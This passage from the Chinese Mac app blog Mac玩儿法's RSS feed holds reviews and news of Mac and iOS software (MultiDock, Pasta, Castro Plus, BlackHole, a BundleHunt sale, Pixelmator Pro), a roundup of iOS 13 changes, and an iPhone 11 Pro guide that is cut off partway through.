    + + BundleHunt 2019 秋季新品软件包还剩一天活动期,抓紧时间选购了 + https://www.waerfa.com/bundlehunt-2019-autumn + https://www.waerfa.com/bundlehunt-2019-autumn#comments + Mon, 07 Oct 2019 09:22:07 +0000 + + + + + https://www.waerfa.com/?p=105981 + + BundleHunt 2019 秋季新品软件包又来了,这次是 40 款高质量的 Mac 软件,与以往不同,我觉得新品不再招揽滥竽充数的软件,大部分是我们熟悉的经典软件,比如:

    + +

    iMazing、iStat Menus 6、WALTR 2、Downie、Folx Pro、Luminar 2018、TypeIt4Me、Mosaic Pro、MultiDock、Omni Remover 3、Squeezer、Softorino YouTube Converter 2、iRingg、TimeOut、SyncMate Expert、Airy、HazeOver、iSwift

    + +

    而这些软件还均适配 MOJAVE 并且可直接升级到 macOS Catalina

    + +

    购买 BundleHunt 2019 秋季新品软件包

    + +

    软件包购买政策还是老样子,起购价 5 刀,加入一款软件再额外加钱,包里的软件单价都很便宜,最低的才 1 刀,像 iMazing 这种原价 45 刀的在包里才 6 刀,Downie 才 3.5 刀。。。

    + +

    BundleHunt 2019 秋季新品软件包还剩一天活动期,抓紧时间选购了插图

    + +

    购买 BundleHunt 2019 秋季新品软件包

    +

    本文发表自Mac玩儿法,转载请注明转自《BundleHunt 2019 秋季新品软件包还剩一天活动期,抓紧时间选购了

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/bundlehunt-2019-autumn/feed + 2 +
    + + MultiDock:给你的 Mac 加满 Dock + https://www.waerfa.com/multidock-review + https://www.waerfa.com/multidock-review#respond + Sat, 28 Sep 2019 06:12:42 +0000 + + + + + https://www.waerfa.com/?p=106075 + + 用 Mac 时间长了你会发现,系统底部的 Dock 栏会被放满需要经常调用的软件图标,这个时候你就需要 MultiDock 这样的系统辅助软件来帮忙了,它可以帮助用户创建多个 dock 栏,这些 dock 栏位置可以固定在屏幕四个边缘,也可以设置为悬浮在屏幕任意位置,由用户随时拖拽位置。

    + +

    就像下图这样,小编为自己的 Mac 屏幕加鸡腿,加了三个位于屏幕边缘的 dock,这样就不用看系统那个图标超小的 dock 了,但是实际操作起来只能保留上下两个 dock,因为左边的真的会影响 Safari 等软件的日常操作,而右边的则影响我常在桌面放置的 Finder 目录。所以我只会保留上下两个 dock,当然你如果觉得不够用,就加一些悬浮的 dock。。

    + +

    MultiDock:给你的 Mac 加满 Dock插图

    + +

    在每一个自建的 dock 上你都可以随时拖动 app 进来:

    + +

    MultiDock:给你的 Mac 加满 Dock插图(1)

    + +

    每一个 dock 都可以单独设置属性,比如主题配色,是否只显示运行中的 app,阴影显示,dock 的透明度,尺寸,位置是悬浮还是固定在屏幕边缘,这些都可以调整。

    + +

    MultiDock:给你的 Mac 加满 Dock插图(2)

    + +

    延伸阅读:

    + +
    MultiDock:给你的 Mac 加满 Dock插图(3)
    MultiDock:给你的 Mac 加满 Dock插图(4)

    ActiveDock

    专门为 macOS 设计的增强型 Dock

    +

    本文发表自Mac玩儿法,转载请注明转自《MultiDock:给你的 Mac 加满 Dock

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/multidock-review/feed + 0 +
    + + Pasta:你的剪贴板就是盘意面 + https://www.waerfa.com/pasta-review + https://www.waerfa.com/pasta-review#respond + Sat, 28 Sep 2019 05:17:49 +0000 + + + + + + + + https://www.waerfa.com/?p=106072 + + Pasta 是一款新晋的第三方剪贴板软件,可以对用户拷贝的文本、图片等各种文件进行及时准确的记录,包括文件名、文件路径、图片URL、文本段落等等等,然后用文件类型或者源出的软件名进行筛选,用户也可以自行对剪贴板记录进行搜索。

    + +

    Pasta 的亮点就是将用户的剪贴板记录大大方方的以网格形式陈列在窗口中,可预览性强,用户可直接看到图片、文本的具体内容。

    + +

    Pasta:你的剪贴板就是盘意面插图

    + +

    这款软件是免费使用,但仅能保存最新的 20 条记录,升级 Pro 版(一次性购买,30 元),可解锁最多 1000 个剪贴板记录的权限,同时具备记录不限数量的目录分组能力以及不限数量的网格记录设置权限,默认只能是 3×3 布局。

    + +

    Pasta:你的剪贴板就是盘意面插图(1)

    + +

    另外这款软件还可以在你输入 1Password、钥匙串等密码内容时选择忽略密码,也就是非明文显示。最后,安装官方插件可实现双击自动粘贴记录的功能。

    +

    本文发表自Mac玩儿法,转载请注明转自《Pasta:你的剪贴板就是盘意面

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/pasta-review/feed + 0 +
    + + Castro Plus:全方位提升听播客体验 + https://www.waerfa.com/castro-plus-review + https://www.waerfa.com/castro-plus-review#respond + Sat, 28 Sep 2019 04:19:37 +0000 + + + + + + https://www.waerfa.com/?p=106061 + + 原来 Castro 没有过户前推出的会员版给我的印象就是付个费,请开发者喝个咖啡,现在换了东家后,嚯,会员版更名为 Castro Plus,提供的功能可谓是全方位提升了听播客的体验。我站曾联系报道过 Castro 2Castro 3

    + +

    目前 Castro Plus 提供了 Trim Silence、Sideloading、播客节目个性化设置、Enhance Voice、隐藏推荐广告播客、自选应用图标、转单声道等服务,价格是每月 21 元,包年 128 元。

    + +

    这两天官方发 blog,一个新功能又即将为 Plus 会员提供:Apple Watch Sync,可以将待播放的节目同步到用户的 Apple Watch,方便用户随时预览、切换节目,目前 Plus 会员就能通过 Testflight 版的 Castro 获取到此功能。

    + +

    Castro Plus:全方位提升听播客体验插图

    + +

    Castro Plus:全方位提升听播客体验插图(1)

    + +

    另外 Dark Mode 也即将脱离 Plus 的收费范畴,所有用户都可以免费使用,不过在最早 Dark Mode 出来之前,Castro 已经可以用双指从上往下滑动来切换黑白主题,不明白系统级的 Dark Mode 出来后,Castro 为何把这个经典手势取消了。

    + +

    Castro Plus:全方位提升听播客体验插图(2)

    + +

    在播放界面可直接触发 Trim Silence、Enhance Voice,这两个功能只要是挺一段时间播客都会知道,分别可以做到裁剪掉节目中的空白时长以及将主播音量提高的效果。

    + +

    Castro Plus:全方位提升听播客体验插图(3)

    + +

    此外,Plus 会员还能为每一个播客节目设置节目管理规则,播放规则,如下图左一,Castro 目前也支持通过 Siri 来控制了。

    + +

    Castro Plus:全方位提升听播客体验插图(4)

    + +

    Plus 为会员提供了丰富的设计感极强的图标选择:

    + +

    Castro Plus:全方位提升听播客体验插图(5)

    + +

    最后要说的就是 Sideloading,可以在 Safari 的音频播放页直接导入到 Castro(的 iCloud Drive 目录保存) 进行播放,不过我感觉这个功能挺鸡肋的。

    + +

    Castro Plus:全方位提升听播客体验插图(6)

    +

    本文发表自Mac玩儿法,转载请注明转自《Castro Plus:全方位提升听播客体验

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/castro-plus-review/feed + 0 +
    + + Pixelmator Pro 推出五折升级方案,心动了没? + https://www.waerfa.com/pixelmator-pro-upgrade-program + https://www.waerfa.com/pixelmator-pro-upgrade-program#comments + Fri, 27 Sep 2019 21:54:20 +0000 + + + + + + https://www.waerfa.com/?p=106057 + + 本周著名的平面设计软件 Pixelmator Pro 在 MAS 上针对 Pixelmator 基础版用户推出了五折升级方案,具体形式就是,只要你是 Pixelmator 普通版用户(MAS),在 MAS 内购买升级套装即可以 5 折的价格入手 Pixelmator Pro(原价 456 元),现在仅需 230 元。

    + +

    Pixelmator Pro 推出五折升级方案,心动了没?插图

    + +

    Pixelmator Pro 推出五折升级方案,心动了没?插图(1)

    + +

    Pixelmator Pro 与 Pixelmator 基础版专业在了其界面设计是操作区与工具栏一体化设计,支持 Dark Mode,基于 Metal 2 引擎开发(基础版仅是 OpenGL),比基础版拥有更丰富的色彩调节工具,RAW 编辑能力,更强大的色彩渲染能力,更强的 SVG 像素设计能力与导入导出能力。

    + +

    Pixelmator Pro 推出五折升级方案,心动了没?插图(2)

    + +

    两个版本的完整对比请到这里学习。

    +

    本文发表自Mac玩儿法,转载请注明转自《Pixelmator Pro 推出五折升级方案,心动了没?

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/pixelmator-pro-upgrade-program/feed + 2 +
    + + iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗 + https://www.waerfa.com/ios-13-changes-before-born + https://www.waerfa.com/ios-13-changes-before-born#respond + Fri, 27 Sep 2019 20:44:32 +0000 + + + + + https://www.waerfa.com/?p=106038 + + iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图

    + +

    随着 iPhone 11 的发布,在今年 6 月初问世的 iOS 13 的正式版也同步上线更新了,在经过 3 个月,共计八个测试版本的迭代后,iOS 13 从不太稳定的状态逐渐过度到正式版,这中间它又比我们在对 iOS 13 初次介绍时的状态提升了不少,除了被修复了许多 bug 外,系统整体稳定性,续航能力都恢复正常水平,同时在这 3 个月的时间里它也增加了不少新特性,强大了不少,今天我们就来为大家汇总一些主要的特性变化。

    + +

    AirDrop

    + +

    AirDrop 设备有了新的图标,而不仅仅呈现设备所有者的个人资料图片。在地图中删除集合时,会多弹出一次提示,询问用户是否确认删除。iOS 13.1 中最重要的更新,是支持使用超宽频技术的全新 AirDrop 功能。借助最新搭载的 U1 芯片, iPhone 11 系列拥有了空间感知的能力,可以精准定位其它搭载 U1 芯片的设备。这个功能的第一项应用就是更精准的 AirDrop。

    + +

    更新 iOS 13.1 后,AirDrop 的传送界面多了一个优先位置。如果识别到周围有其它搭载 U1 芯片的设备,系统会提示你举起 iPhone(竖起来摆放),成功识别后能感觉到振动反馈,对方会显示在优先位置,方便传输数据。这个功能可以让 AirDrop 更精准,你不用在周围的一堆设备中去找对方的名字。经过我们的测试,这个精确定位的识别距离大概是在 4 米左右。另外需要注意的是,你需要与对方互为通讯录好友,才能使用精确定位。

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(1)

    + +

    Safari 浏览器标签页自动关闭

    + +

    设置 App 中的 Safari 浏览器设置部分新增自动关闭所有开启的标签页的选项。你可以设置时间周期,也可以手动关闭;

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(2)

    + +

    长截图:在 Safari 浏览器中截图后,新增保存整个页面的选项,可以将整个网页导出为 PDF 文件用来分享和保存。也可以使用最新的标记栏进行标注。

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(3)

    + +

    计时器

    + +

    时钟.app 里的计时器界面更新,出现倒计时圆环

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(4)

    + +

    日历 App 可添加附件

    + +

    现在可以为日历 App 的某个日程安排添加诸如文档等的附件

    + +

    Apple Music

    + +

    歌词自动跟踪,听歌时点开歌词界面,现在可以实时展示歌词

    + +

    语音备忘录

    + +

    可使用双指捏合手势放大波形图,方便剪辑

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(5)

    + +

    优化电池健康,限制非官方电池

    + +

    苹果在 iOS 13 中增加了一个“优化电池充电”的功能,就是在你将 手机 充电到 80% 时,暂停充电,以减缓电池老化。系统会学习你的充电习惯,在需要时充满至 100%,比如你习惯晚上睡觉时充电,它会先充 80%,然后起床前再充剩余的 20%。刚开始用时它可能不太智能,对满电量比较在意的朋友可以选择关闭。

    + +

    之前 iPhone 出过降速门,就是旧机型的电池老化后,苹果会将它的性能强制降低,防止在极端条件下自动关机。在 iOS 13.1 中,苹果给 2018 年的 iPhone XS 系列也增加了性能管理的功能,它可以手动关闭,但在出现意外关机的情况后会自动开启。(具体机制可以查看苹果官网说明);外媒提到苹果会限制第三方机构更换 iPhone 电池,这次实锤了,苹果在 iOS 13.1 中会强制对使用非正品电池的手机进行通知。不过苹果前段时间也公布了一项新的维修计划,会向更多的第三方维修机构提供官方 配件。

    + +

    文件 app 增强

    + +

    支持连接 SMB 服务器,iOS 13 新功能之一就是可以使用文件 app 通过 SMB 协议连接服务器。这个功能在第一个测试版中无法使用,但在 beta 2 中已经可以正常连接。这意味着 iOS 13 用户可以连接家庭 NAS 等设备

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(6)

    + +

    另外 iOS 13 还支持读取 APFS 格式驱动器:文件 app 可以读取 APFS 格式的驱动器。APFS 是苹果前几年推出的全新文件系统,目前已经应用在 macOS 和 iOS 等系统中

    + +

    备忘录改进

    + +

    备忘录的待办事项列表现在支持“自动整理”功能,你可以将标记为“完成”的待办项自动移动到列表底部。

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(7)

    + +

    App Store 的调整

    + +

    App 更新的入口调整,iOS 13 后,你需要打开 App Store 应用,点击右上角的头像进入用户档案,然后在底部可以看到等待更新的 App 列表。之所以这么安排,是因为主界面底部的“更新”页被 Apple Arcade(游乐场)取代了。

    + +

    应用更新页面可删除应用,你可以在更新列表中单独删除某个应用,不让其进行更新

    + +

    全新动话表情贴纸与 Emoji 表情

    + +

    又增加了一些动话表情贴纸,增加了手势选择,章鱼有了吸盘、乌贼的虹吸管移到了正确的地方、蚊子腿的数目纠正为六根、算盘从横置变为竖置。

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(8)

    + +

    在地图中与好友共享到达时间

    + +

    苹果自带的地图应用中,增加了一个“共享到达时间”的功能。当你发起导航后,可以将路线分享给联系人,对方能够在地图应用中看到你的实时位置,以及预计的到达时间。这个功能也支持 CarPlay,可以在车上使用。

    + +

    如果对方的设备没有更新到 iOS 13.1,或者使用的是 Android 设备,路线信息会以短信的形式发送。另外,这个功能目前无法在国内正常使用。

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(9)

    + +

    Apple Arcade 可免费试用一个月

    + +

    Apple Arcade 目前已经在美区上架,中国区短期内是不可能有的,Arcade 第一个月免费,之后每月缴费 4.99 美元即可享受商店内的所有去广告的高质量游戏,支持家庭成员共享,而且支持在 iPhone、iPad、Mac、Apple TV 上玩。

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(10)

    + +

    快速操作(Quick Action)(原 3D Touch 菜单)

    + +

    主屏幕上对 app 图标进行快速操作的弹出菜单更新,增加了“重新排列 app”选项,可以通过这里快速进入应用管理模式删除应用,快速操作的菜单尺寸变小,其中的图标也不再那么显眼,而且被移到菜单的右侧。

    + +

    在设置 app 的辅助功能部分中的“3D & Haptic Touch”(之前只是 3D 触控)设置中为 3D 触控新增一些选项。在 3D 触控敏感度滑块下面增加了“触控持续时间”选项,可以选择快或者慢,以改变弹出轻瞄、快速操作菜单所需的时间。

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(11)

    + +

    Face ID 的变化

    + +

    面容 ID 新增触觉反馈,使用面容 ID 解锁设备时可以提供振动反馈,可以在设置 App 中的辅助功能部分进行启动

    + +

    照片.app

    + +

    界面顶部新增了“+/-”缩放按钮,点击可扩大缩小时间范围。当然,用户依然可以使用双指捏合手势进行同样的操作。

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(12)

    + +

    AirPlay 2

    + +

    AirPlay 2 在 iOS 13 中的菜单也升级了,iPhone 和 iPhone 更容易管理扬声器和电视,隔空播放菜单将 iPhone 与网络连接设备分开,可以更直观的看到 HomePod、Apple TV 其他隔空播放设备全网页截图;你甚至可以设置当你到家时自动启动 HomePod 播放音乐,后面我们会单独开一篇文章来介绍这个场景自动化。

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(13)

    + +

    控制中心新增深色模式开关

    + +

    控制中心新增了一个 dark mode 的切换开关。

    + +

    静音未知来电

    + +

    在“电话”设置中开启静音未知来电者功能后,来自 Siri 建议、通讯录中的号码以及最近拨出的号码的来电将不会静音

    + +

    改变了应用文件夹的透明度,颜色上也与墙纸更匹配

    + +

    细心的你会发现在 app 文件夹中的背景色已经随壁纸的主色调同步匹配。

    + +

    升级 HomePod 配对过程

    + +

    在 iOS 13 中,全新的 HomePod 配对界面需要用户扫描 HomePod 顶部的 LED 灯,这需要开启 iPhone 的相机并完成整个步骤。这种全新的配对方式看起来似乎比声音配对更麻烦,但也更可靠。声音配对会因为环境噪音问题而导致失败。

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(14)

    + +

    此前,当 iPhone 首次与 HomePod 配对初始化后,需要将 iPhone 靠近,然后 iPhone 屏幕上会出现类似于 AirPods 的界面,点击连接后,HomePod 会发出声音,完成与 iPhone 的配对。

    + +

    High-Key Mono 光效

    + +

    新加入的人像光效模式,High-Key Mono,同时,调整条可以设置人像光效的强度。

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(15)

    + +

    支持用蓝牙连接主机手柄

    + +

    苹果为游戏手柄设计了专有的手柄图标,就在电池 Widget 中

    + +

    而当用 iPhone 连接蓝牙音频设备时,音量滑块可以显示设备的图标,支持 AirPods、HomePod、Powerbeats Pro 等苹果系产品。

    + +

    iOS 13.1 快捷指令自动化

    + +

    分为个人和家庭(控制 HomeKit 设备)。你可以将快捷指令设定为“满足 XX 条件时,自动执行 XX 操作”,比如时间到达 XX 点时、走到 XX 地点附近时、开启蓝牙时。

    + +

    CarPlay

    + +

    iPhone 上打开应用不再会影响 CarPlay 应用了,比如 CarPlay 上显示地图,如果 iPhone 上切换至其他 App,CarPlay 依然会显示地图。智能电池充电;另外独有的 Dark Mode 跟随光线自动切换主题;CarPlay 的“正在播放”会显示专辑封面。具体体验可参考我们这边 iOS 13 CarPlay 的实测文章

    + +

    动态墙纸

    + +

    苹果对动态墙纸进行了调整,改变了整体外观和颜色。此前,动态墙纸功能限于 iPhone X 或更新的设备,现在下放给了一些旧款设备。

    + +

    iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗插图(16)

    + +

    蜂窝网络低数据模式

    + +

    减少 app 对移动流量的依赖

    + +

    其他一些零散的变化

    + +

    以下是一些零散的变化点,不太容易被发现:

    + +

    AirPods 音量指示

    + +

    如果你的 iPhone 连接了 AirPods,调整音量时,可以看见指示条中出现了 AirPods 图标。这个同样适用于 Powerbeats Pro,以及 HomePod。

    + +

    自动个人热点

    + +

    当没有互联网连接时可自动连接你的 iPhone 的个人热点,还提供一个即使设备处于休眠状态仍保持连接的选项

    + +

    全新 HomeKit 图标

    + +

    家庭 app 中的 HomeKit 设备图标迎来更新,细节更丰富,与最近的 macOS Catalina 测试版中的家庭 app 匹配

    + +

    TestFlight 指示

    + +

    通过苹果测试平台 TestFlight 安装的应用,左侧会出现颜色更鲜亮的黄色,便于查看。

    + +

    分享到达时间

    + +

    地图 app 分享到达时间功能回归,可以向朋友或家人分享自己到达某个地点的大概时间

    + +

    HEVC 改善

    + +

    iOS 13.1 中加入了使用 Alpha 通道进行 HEVC 视频编码,以便更轻松地进行绿屏风格的合成

    + +

    蓝牙提醒更新

    + +

    增加了在应用内,对可能使用蓝牙的情况进行确认。这个倒是挺烦人的,因为你每次新安装一个 app 后都会询问你是否授权链接蓝牙。

    + +

    发件人黑名单

    + +

    邮件 app 设置中新增“发件人黑名单”选项,现在可以将发件人移至废纸篓或者将其标记为黑名单后留在收件箱中。

    + +

    可下载的字体

    + +

    字体设置中可以跳转 App Store 了,不过显示依然为空,预计未来会有字体 App 出现

    + +

    增加了在 App Store 中下载和安装字体功能。在 iOS 13 Beta 1 中,打开通用—字体后,有全新介绍文字,并提示用户进入 App Store 下载字体 app,只是目前还没有任何字体 app 上架。

    + +

    阅读目标

    + +

    在设置应用的图书中,有新开关,可以打开 PDF 阅读时间提示。

    + +

    查找.app

    + +

    发现后提醒功能现已可用。另外在“我”的页面下新增加一个“协助朋友”选项,可以打开 iCloud.com 以便他人登录并通过这个设备定位他人丢失的设备。

    + +

    语音控制标识

    + +

    如果 iOS 设备开启了语音控制,蓝色的麦克风图标会出现在左上角。

    + +

    增加 FaceTime 关注修正功能

    + +

    通常情况下,在视频通话时用户的眼睛是盯着屏幕,在对方看来,视线会偏下。但iOS的这项新功能可以通过图形修正,来让视频双方进行“眼神的接触”;目前这个功能仅支持 iPhone XS 和 XS Max,不支持 iPhone X。

    + +

    屏幕使用时间

    + +

    屏幕使用时间的“应用限额”功能可以同步至 Apple Watch。

    + +

    Dolby Atmos 回放

    + +

    2018 款及以后的 iPhone 和 iPad 在 iOS 13 支持 Dolby Atmos 回放功能。

    + +

    个人热点共享

    + +

    如果已启用家庭共享,家庭成员可自动加入你的个人热点。

    + +
    + +

    如果你有发现 iOS 13 的新特性,不妨在留言区与大家一起分享。

    +

    本文发表自Mac玩儿法,转载请注明转自《iOS 13 从测试版到正式版这段时间又大变不少,这些你都知道吗

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/ios-13-changes-before-born/feed + 0 +
    + + BlackHole:这不是共享文件的黑洞,而是福音 + https://www.waerfa.com/blackhole-review + https://www.waerfa.com/blackhole-review#respond + Sun, 22 Sep 2019 00:14:10 +0000 + + + + + + https://www.waerfa.com/?p=106007 + + BlackHole,名字听着挺吓人的,不明白为什么起这么一个名字,实际上这是一款基于区块链技术的文件共享服务,在文件上传时自动对文件体积进行压缩,最大可到 90%,无形中减少了上传时间以及带宽占用,

    + +

    BlackHole 提供了 web/mac/win 不同的客户端平台,这款服务对于文件下载者取消了账户注册的麻烦,对于文件上传者来说,它没有存储空间的限制,没有限时访问的限制,可谓是互联网产品设计里的良心。

    + +

    BlackHole:这不是共享文件的黑洞,而是福音插图

    + +

    将文件直接拖放到 BlackHole 的 menubar 图标或者在 menubar 菜单里即可上传文件,免费版单个文件上传的体积被限制在了 512MB,但这并不代表 BlackHole 就对上传的文件体积进行限制,你在上传前可以对文件进行切割。

    + +

    不过后期即将上线的 BlackHole Plus,也就是付费版则可以对单个上传文件的体积扩大到恐怖的 8GB,目前 Plus 的订阅价格还没有公布。

    + +

    BlackHole 上传的文件可以设置密码,免费版分享最近的三个上传文件,付费版则可以分享最近的 100 个文件,文件链接可永久可访问。

    + +
    +

    BlackHole 官方网站

    +
    +

    本文发表自Mac玩儿法,转载请注明转自《BlackHole:这不是共享文件的黑洞,而是福音

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/blackhole-review/feed + 0 +
    + + iPhone 11 Pro 这次是真香,浅显易懂的解说新机 + https://www.waerfa.com/iphone-11-pro-buy-guide + https://www.waerfa.com/iphone-11-pro-buy-guide#respond + Sat, 21 Sep 2019 15:59:45 +0000 + + + + https://www.waerfa.com/?p=106008 + + 历代 iPhone 给我印象最深并立即激起购买欲望的有 3Gs,4、5s 以及 X,其中具有里程碑意义的除了初代 iPhone 那就数iPhone 4 了,11 Pro 虽然没能达到里程碑的地位,但它有自己进取的一面,没想到 iPhone 11 Pro 的诞生第五次激发起了我强大的购买冲动。

    + +

    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图

    + +

    首次装备的三摄系统可以让你在长焦、广角、超广角之间快速切换,而且首次支持夜间拍照也是一项非常硬核的提升,可以说摄像系统是这次设备换代的重中之重,苹果在此领域当然不能退让给 Google Pixel、华为 Mate 等其他 Android  机型,同时新机也具备了全新的超视网膜 XDR 屏幕、双卡设定以及更长的电池续航时间。

    + +

    iPhone 11 Pro 与它的两位前辈参数比较

    + +

    在开始本文解说 iPhone 11 Pro 为什么真想前,先来看看 iPhone 11 Pro 与它的两位前辈的技术规格比较,看看这款新贵在哪些方面超过了它的前辈机型。

    + +

    可以看到除了有新增暗夜绿这个颜色之外,新机的屏幕尺寸,标准屏与 Max 屏的尺寸均没有变化,但屏幕标注的是 超视网膜 XDR 显示屏;后背板由玻璃升级为了亚光质感玻璃,手感更加细腻;摄像头首次增加到了三颗,每颗摄像头均为 1200 万像素,分别负责超广角、广角及长焦拍摄任务,首次支持夜间模式;首次支持杜比全景声,前置摄像头升级到 1200 万像素,这颗前置摄像头还首次支持 4K 视频拍摄;A13 仿生芯片,拥有第三代神经网络引擎;电池续航,比 iPhone Xs 最长增加 4 小时;抗水,在 4 米深的水下停留时间最长可达 30 分钟;在尺寸和重量上继续增加。

    + +

    其他方面与老机型没有较大变化。

    + +

    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(1)

    + +

    关于 11 Pro 这颗让人欲罢不能的三摄系统

    + +

    11 Pro 搭载的这套让人欲罢不能的三颗摄像头机制,苹果其实是跟跑角色,始作俑者应该是华为 Mate,这种浴霸,也有人戏谑为淋浴喷头的设计分别让不同的摄像头负责不同焦距的影像记录。

    + +

    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(2)

    + +

    从背面看,右侧摄像头负责超广角拍摄:

    + +
      +
    1. 13 毫米焦距
    2. +
    3. ƒ/2.4 光圈
    4. +
    5. 五镜式镜头
    6. +
    7. 120° 视角
    8. +
    9. 四倍取景范围
    10. +
    11. 1200 万像素感光元件
    12. +
    + +

    左侧上面的摄像头负责广角拍摄:

    + +
      +
    1. 26 毫米焦距
    2. +
    3. ƒ/1.8 光圈
    4. +
    5. 六镜式镜头
    6. +
    7. 光学图像防抖功能
    8. +
    9. 100% Focus Pixels
    10. +
    11. 全新 1200 万像素感光元件
    12. +
    + +

    左侧上面的摄像头负责长焦拍摄:

    + +
      +
    1. 52 毫米焦距
    2. +
    3. 更大的 ƒ/2.0 光圈
    4. +
    5. 六镜式镜头
    6. +
    7. 光学图像防抖功能
    8. +
    9. 2 倍光学变焦
    10. +
    11. 1200 万像素感光元件
    12. +
    + +

    三颗 1200 万像素的摄像头早就了 11 Pro 可以轻松拍摄广阔大视野的图片,就像下图这种:

    + +

    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(3)

    + +

    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(4)

    + +

     

    + +

    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(5)

    + +

    在拍摄人物时,找到一个独特角度,打开广角就可以自由创作出画面惊奇的感觉,但需要说明的是超广角模式是没有夜间模式的。

    + +

    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(6)

    + +

    旅行摄影师 Austin Mann,他在中国的行程途中「顺路」评测了 iPhone 11 Pro 的新相机,以下是他拍摄的一些  iPhone 11 Pro 超广角样片:

    + +
    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(7)
    桂林 阳朔
    + +
    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(8)
    马友友现场
    + +
    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(9)
    桂林 超广角
    + +

    iPhone 11 Pro 可从长焦摄像头一直到全新的超广角摄像头,进行效果出众的 4 倍光学变焦。

    + +
    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(10)
    在右侧滑动虚拟旋钮切换焦距 达到不同广度的镜头
    + +

    三摄系统运作机制

    + +
    当决定设计 Pro 级的摄像头系统时,我们希望三个摄像头的运作能协同如一,默契无间。 + +其中有一个基本的难点:即使三套感光元件都采用了相同的色彩系统,不同摄像头模块的色彩和灵敏度也难以一致。考虑到这一点,我们的工程师先对每个摄像头的白平衡和曝光等参数单独进行精确调校,然后再对三个摄像头整体进行调校,使不同模块呈现一致的效果。 + +这些调校的效果,都会实时体现在你拍摄的每张照片上。整个过程就像使用三部不同的相机拍摄 RAW 格式的图像,然后对图像进行处理,使它们达到一致的颜色和观感。但不同的是,这一切都在瞬间进行,并且需要运用 A13 仿生独有的强大运算能力,才能在你切换长焦、广角和超广角的过程中,飞速而准确地展现出这些细节。 + +另外,我们还要让每个摄像头都方便随时调用,无论是普通照片、人像、视频、延时摄影还是慢动作,轻点一下就能开拍。而且在摄像头切换时,我们希望实现平滑流畅的过渡效果。 + +虽然所有这些都需要感光元件、相机软件和芯片团队的通力协作,但最终我们不负众望,为你带来了前所未有的拍摄体验。
    + +

    关于夜间模式

    + +

    夜间模式由去年的 Google Pixel 3 和今年的 Galaxy Note 10 带起来了,紧跟着国内的诸多厂商以及今天的主角苹果 iPhone 11 Pro 也跟着节奏进入此领域。

    + +

    根据摄影师 Austin Mann 的上手体验所说,苹果夜间模式不光是注重于用技术解决摄影难题,同时也深刻关注艺术表达。当你看到下面的图片时,很明显,iPhone 团队并没有像他们的一些竞争对手去给夜晚增光加亮,做成白昼。相反,他们好像在默认摄影师会以美丽的方式捕捉这一场景的感觉,更像是人物融入了黑夜,而黑夜衬托了色彩。

    + +

